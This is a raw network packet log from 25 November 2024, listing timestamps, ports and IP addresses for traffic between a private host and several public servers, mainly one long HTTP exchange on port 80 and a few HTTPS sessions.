Nov 25, 2024 18:28:38.429783106 CET	49815	443	192.168.2.5	23.44.133.41
Nov 25, 2024 18:28:38.456842899 CET	443	49818	23.44.203.90	192.168.2.5
Nov 25, 2024 18:28:38.457138062 CET	49818	443	192.168.2.5	23.44.203.90
Nov 25, 2024 18:28:38.457148075 CET	443	49818	23.44.203.90	192.168.2.5
Nov 25, 2024 18:28:38.458185911 CET	443	49818	23.44.203.90	192.168.2.5
Nov 25, 2024 18:28:38.458275080 CET	49818	443	192.168.2.5	23.44.203.90
Nov 25, 2024 18:28:38.459549904 CET	49818	443	192.168.2.5	23.44.203.90
Nov 25, 2024 18:28:38.459610939 CET	443	49818	23.44.203.90	192.168.2.5
Nov 25, 2024 18:28:38.475461006 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.475809097 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.475842953 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.475971937 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.492223978 CET	443	49808	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:38.493379116 CET	49808	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:38.493379116 CET	49808	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:38.493417978 CET	443	49808	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:38.493431091 CET	443	49808	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:38.506805897 CET	49818	443	192.168.2.5	23.44.203.90
Nov 25, 2024 18:28:38.506814957 CET	443	49818	23.44.203.90	192.168.2.5
Nov 25, 2024 18:28:38.530736923 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.530937910 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.531105042 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.531250954 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.531410933 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.531517982 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.532224894 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.532445908 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.532613039 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.532795906 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.533179045 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.533246040 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.533338070 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.533338070 CET	49827	443	192.168.2.5	4.152.199.46
Nov 25, 2024 18:28:38.533370018 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:38.533567905 CET	49827	443	192.168.2.5	4.152.199.46
Nov 25, 2024 18:28:38.533888102 CET	49827	443	192.168.2.5	4.152.199.46
Nov 25, 2024 18:28:38.533896923 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:38.534149885 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.534344912 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.535166025 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.535176992 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.535188913 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.535262108 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.535262108 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.536149979 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.536369085 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.536487103 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.536542892 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.537167072 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.537178040 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.537247896 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.538058996 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.538194895 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.538207054 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.538283110 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.539089918 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.539277077 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.539446115 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.540016890 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.540179014 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.540224075 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.540482044 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.541040897 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.541053057 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.541204929 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.542207956 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.542414904 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.542568922 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.542689085 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.543030977 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.543041945 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.543176889 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.543946981 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.544059038 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.544147015 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.544255972 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.544909954 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.545031071 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.545248032 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.545337915 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.545898914 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.546072960 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.546178102 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.546286106 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.546896935 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.546917915 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:38.546953917 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.546969891 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.547180891 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:38.547183990 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.547203064 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:38.547874928 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.547971010 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.548626900 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.548676014 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:38.548765898 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:38.548768997 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.548851967 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.548861980 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.548938990 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.549844027 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.549854994 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.549925089 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:38.549930096 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.550015926 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:38.550297976 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:38.550304890 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:38.550796032 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.551121950 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.551390886 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.551512957 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.551819086 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.551831007 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.552042007 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.552463055 CET	49818	443	192.168.2.5	23.44.203.90
Nov 25, 2024 18:28:38.552700043 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.552980900 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.553705931 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.553716898 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.553730011 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.553823948 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.553823948 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.554678917 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.554857969 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.555460930 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.555674076 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.555685043 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.555685997 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.555835009 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.556615114 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.556875944 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.556879044 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.556994915 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.557621002 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.557694912 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.558598042 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.558609009 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.558619976 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.558685064 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.558685064 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.559604883 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.559624910 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.559741020 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.559741020 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.560591936 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.560663939 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.560688019 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.560854912 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.561499119 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.561636925 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.562011957 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.562274933 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.562467098 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.562585115 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.562616110 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.562751055 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.563499928 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.563591957 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.563688040 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.563777924 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.564429998 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.564476013 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.564495087 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.564579964 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.565428972 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.565520048 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.565546989 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.565826893 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.566416979 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.566509962 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.566679955 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.566679955 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.567367077 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.567464113 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.567507982 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.567678928 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.568347931 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.568444014 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.568471909 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.568730116 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.569288969 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.569390059 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.569415092 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.569509029 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.570291996 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.570343018 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.570399046 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.570559978 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.571255922 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.571402073 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.571427107 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.571492910 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.572228909 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.572366953 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.572398901 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.572729111 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.573230028 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.573343039 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.573409081 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.573409081 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.574178934 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.574254036 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.574290991 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.574382067 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.575148106 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.575290918 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.575290918 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.575371027 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.576229095 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.576316118 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.576344967 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.576404095 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.577127934 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.577285051 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.577302933 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.577445984 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.578178883 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.578248024 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.578290939 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.578361988 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.579071045 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.579170942 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.579273939 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.579273939 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.580056906 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.580099106 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.580260038 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.580379009 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.581042051 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.581168890 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.581280947 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.581280947 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.581991911 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.582268000 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.598294973 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:38.671765089 CET	443	49805	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:38.672894955 CET	443	49806	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:38.677223921 CET	49805	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:38.677264929 CET	443	49805	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:38.678317070 CET	49805	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:38.678323030 CET	443	49805	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:38.678678989 CET	49806	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:38.678697109 CET	443	49806	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:38.679847002 CET	443	49806	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:38.679920912 CET	49806	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:38.680749893 CET	49806	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:38.680859089 CET	443	49806	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:38.681570053 CET	49806	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:38.681576967 CET	443	49806	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:38.725418091 CET	443	49809	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:38.726066113 CET	49809	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:38.726097107 CET	443	49809	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:38.726938009 CET	49809	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:38.726943016 CET	443	49809	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:38.727359056 CET	49806	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:38.732028961 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.732126951 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.732264042 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.732563019 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.732703924 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.732953072 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.733467102 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.733592033 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.733706951 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.734932899 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.734944105 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.734999895 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.734999895 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.735413074 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.735534906 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.735553026 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.735589981 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.736404896 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.736462116 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.736494064 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.736567974 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.737363100 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.737410069 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.737435102 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.737534046 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.738363028 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.738382101 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.738446951 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.739300966 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.739386082 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.739415884 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.739765882 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.740317106 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.740359068 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.740430117 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.741282940 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.741386890 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.741416931 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.741547108 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.742254972 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.742369890 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.742398977 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.742546082 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.743278027 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.743343115 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.743374109 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.744304895 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.744335890 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.744340897 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.744374990 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.744415045 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.745174885 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.745306015 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.745487928 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.745654106 CET	443	49810	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:38.746155024 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.746254921 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.746361971 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.746437073 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.746490002 CET	49810	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:38.746520042 CET	443	49810	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:38.746931076 CET	49810	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:38.746937037 CET	443	49810	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:38.747117996 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.747212887 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.747242928 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.747308016 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.748117924 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.748209953 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.748265028 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.748338938 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.749345064 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.749434948 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.749505997 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.750160933 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.750267982 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.750432014 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.751029968 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.751094103 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.751128912 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.752007961 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.752060890 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.752090931 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.752142906 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.752991915 CET	80	49761	185.215.113.206	192.168.2.5
